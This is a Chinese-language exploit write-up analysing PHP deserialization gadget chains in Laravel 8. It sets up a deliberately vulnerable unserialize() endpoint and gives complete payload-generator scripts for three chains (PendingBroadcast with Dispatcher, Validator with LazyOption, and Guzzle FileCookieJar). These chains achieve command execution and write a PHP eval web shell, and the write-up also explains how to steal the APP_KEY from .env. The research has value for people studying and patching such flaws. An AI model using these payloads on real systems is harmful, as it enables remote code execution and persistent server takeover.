作者:Dig2@星盟
前言
作为目前PHP最主流的框架之一,Laravel的主体及其依赖组件一直保持着较频繁的更新。自从2020年9月份Laravel 8发布以来,已经更新了四十多个版本,平均每个月都有八次左右的更新。除了优化,还有重要的原因在于安全性。例如CVE-2021-3129可以在Laravel的Debug模式下任意代码执行。这个CVE的命令执行步骤中有一部分依赖于Phar反序列化的执行。相比较于目前被分析较多的Larave 5.X版本的POP链,Laravel 8 部分组件版本较新,部分类加上了__wake
方法进行过滤或者直接禁止了反序列化,故利用方式有所差异。本文分析并挖掘了当前Laravel 8版本中的反序列化链。
使用composer默认安装方式
composer create-project --prefer-dist laravel/laravel=8.5.9 laravel859
Laravel版本8.5.9,framework版本8.26.1,具体组件版本可参照Packagist Laravel
手动添加反序列化点:
/routes/web.php:
<?php
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\IndexController;
Route::get('/', [IndexController::class, 'index']);
/app/Http/Controllers/IndexController.php:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class IndexController extends Controller
{
public function index(Request $request)
{
$p = $request->input('payload');
unserialize($p);
}
}
反序列化链分析
链一
入口类为:\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
的class PendingBroadcast
这是一个很经典的入口类了,如果读者有研究Laravel 5的反序列化链,可能会知道这个类。其__destruct
方法:
我们可以控制$this->events
和$this->event
。如果使$this->events
为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法。
\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php
的class Dispatcher
存在dispatch方法
$command
可控,$this->queueResolver
可控,$this->commandShouldBeQueued
要求$command
为ShouldQueue的实例
全局搜索,随便找一个ShouldQueue的子类即可
然后就能够进入$this->dispatchToQueue
方法
$this->queueResolver
和$connection
均可控。payload如下:
<?php
// 1.php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace {
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher('system');
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}
上面的利用方法中,执行call_user_func($this->queueResolver, $connection);
时,执行的函数只有$connection
一个参数。如果现在需要执行一个多参数函数比如file_put_contents就没办法了。
注意到这里call_user_func的第一个参数除了可以是函数名字符串,还有两种可以利用方式:
- 使第一个参数为一个类,就能调用该类的
__invoke
方法 - 使第一个参数为数组,例如
[class A, 'foo']
,表示调用类A的foo方法。下面分别介绍这两种方式例子
这里的利用稍为复杂
在\vendor\opis\closure\src\SerializableClosure.php
的class SerializableClosure
找到了一个非常漂亮的__invoke
函数
这里的$this->closure
和func_get_args()
均可控,我本来以为能够直接RCE了,然而后面还有两个棘手的问题。
一个是该类使用的不是标准序列化反序列化方法,而是实现了自己的序列化和反序列化方法:
其实这个问题不难解决,我们可以在生成payload的时候,使用composer引入该组件:
composer require opis/closure
然后在生成payload的代码中加入:
require "./vendor/autoload.php";
再:
$func = function(){file_put_contents("shell.php", "<?php eval(\$_POST['Dig2']) ?>");};
$d = new \Opis\Closure\SerializableClosure($func);
就能生成该类实例了
第二个棘手的问题在于,Laravel 8和Laravel 5有一个区别。Laravel 8在序列化和反序列化该类时,使用了验证secret。
该secret由环境变量配置文件,也就是.env
中的APP_KEY
决定,Laravel安装的时候,会在.env
文件中生成一个随机的APP_KEY
,例如:
APP_KEY=base64:2qnzxAY/QWHh/1F174Qsa+8LkuMoxOCU9qN6K8KipI0=
我们在本地生成payload的时候,也要手动生成一个static::$securityProvider
,并且secret和远程受害者要是一样的才行。方法为,在本地的class SerializableClosure
的源码SerializableClosure.php
文件中加入这么一行(字符串为受害机.env
文件中的密钥):
那么如何获取受害机的APP_KEY
呢?我们在上面既然实现了单参数的任意函数执行,那么file_get_content('.env')
就行了。当然,如果有其他漏洞点能够泄露配置文件就更方便了。
综上所述,生成payload脚本:
<?php
// 1-1.php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace {
require "./vendor/autoload.php";
$func = function(){file_put_contents("shell.php", "<?php eval(\$_POST['Dig2']) ?>");};
$d = new \Opis\Closure\SerializableClosure($func);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher($d);
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}
这里使用了JrXnm师傅在其文章Laravel 5.8 RCE POP链汇总分析中提到的方法,使用vendor\phpoption\phpoption\src\PhpOption\LazyOption.php
的class LazyOption
,在下面链二的加强中演示。payload一并放在文末的github地址中。
链二
同链一,入口类为:\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
的class PendingBroadcast
我们可以控制$this->events
和$this->event
。如果使$this->events
为某个类,并且该类没有实现dispatch方法却有__call
方法,那么就可以调用这个__call
方法了
随后找到位于\vendor\laravel\framework\src\Illuminate\Validation\Validator.php
中的class Validator
它有__call
方法:
$parameters
可控,$method
为固定字符串dispatch,取substr($method, 8)
后,为空字符串,故$rule
为''
。$this->extensions
可控,跟踪$this->callExtension()
方法
$callback
和$parameters
都是可控的,于是一条利用链就出来了。payload如下:
<?php
// 2.php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation {
class Validator {
public $extensions;
public function __construct($extensions){
$this->extensions = $extensions;
}
}
}
namespace {
$b = new Illuminate\Validation\Validator(array(''=>'system'));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');
print(urlencode(serialize($a)));
}
对于链二的总结就是:
$callback(... array_values($parameters));
$callback
可控,$parameters
最多只能为单成员的数组。所以这里也具有无法执行多参数函数比如file_put_contents
的问题。
注意到这里利用的是PHP中的可变函数,经过实验,如下代码可行:
<?php
class A{
public function __invoke(){
echo "invoke".PHP_EOL;
}
public function test(){
echo "test".PHP_EOL;
}
}
$callback1 = new A;
$callback1(''); // 输出invoke
$callback2 = array(new A, 'test');
$callback2(''); // 输出test
因此,可以控制上面利用链中的$callback
为数组,就可以调用某其他类任意函数了。
vendor\phpoption\phpoption\src\PhpOption\LazyOption.php
的class LazyOption
是一个很好的选择。
其option方法可以调用call_user_func_array函数,且两个参数都可控
虽然option是private属性的方法,在其它类中无法直接调用,但是可以发现在该类自身中,许多函数都在调用option函数
于是构造成功,payload如下所示
<?php
// 2-1.php
namespace PhpOption {
class LazyOption {
private $callback;
private $arguments;
public function __construct($callback, $arguments) {
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation {
class Validator {
public $extensions;
public function __construct($extensions){
$this->extensions = $extensions;
}
}
}
namespace {
$c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['Dig2']) ?>"]);
$b = new Illuminate\Validation\Validator(array(''=>[$c, 'select']));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'not important');
print(urlencode(serialize($a)));
}
链三
入口类为\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php
的class FileCookieJar
。此类在Laravel 5中没有出现。其有__destruct
函数:
$this->filename
可控,跟踪save函数:
有file_put_contents函数。一路顺下去,能看到该类的接口是实现了IteratorAggregate的,如下
interface CookieJarInterface extends \Countable, \IteratorAggregate
也就是说它实现了自己的foreach ($this as $cookie)
方法,这里同样用composer安装一下该组件再进行获取序列化字符串比较方便。因为我们要通过其父类的SetCookie方法来设置这里的$cookie
值。其余没有什么值得注意的地方,比较简单,payload如下:
<?php
// 3.php
namespace{
require "./vendor/autoload.php";
$a = new \GuzzleHttp\Cookie\FileCookieJar("shell.php");
$a->setCookie(new \GuzzleHttp\Cookie\SetCookie([
'Name'=>'123',
'Domain'=> "<?php eval(\$_POST['Dig2']) ?>",
'Expires'=>123,
'Value'=>123
]));
print(urlencode(serialize($a)));
}
总结
Laravel 8相对于Laravel 5而言,增加了几个组件,又去掉了另几个组件。利用链有部分重叠,也有修复与增补。整体分析下来,思路是非常清晰的,从__destruct
函数到__invoke
或者__call
等,再到危险函数完成RCE,中间或许需要跳板反复利用。密钥等信息的泄露也会带来RCE的风险。